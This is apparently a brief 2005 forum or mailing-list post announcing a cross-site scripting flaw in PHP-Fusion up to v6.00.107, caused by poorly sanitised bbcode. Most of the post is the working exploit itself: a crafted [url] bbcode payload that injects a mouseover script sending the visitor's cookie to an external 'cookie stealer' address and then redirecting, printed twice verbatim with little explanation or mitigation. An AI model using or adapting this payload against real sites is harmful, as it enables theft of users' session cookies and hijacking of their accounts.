slacker4ever_1@juno.com
30/08/05, 03:15
Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode.
Well here is the exploit.
] (http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; location="http://google.com)[/url]
Well here is the exploit.
] (http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; location="http://google.com)[/url]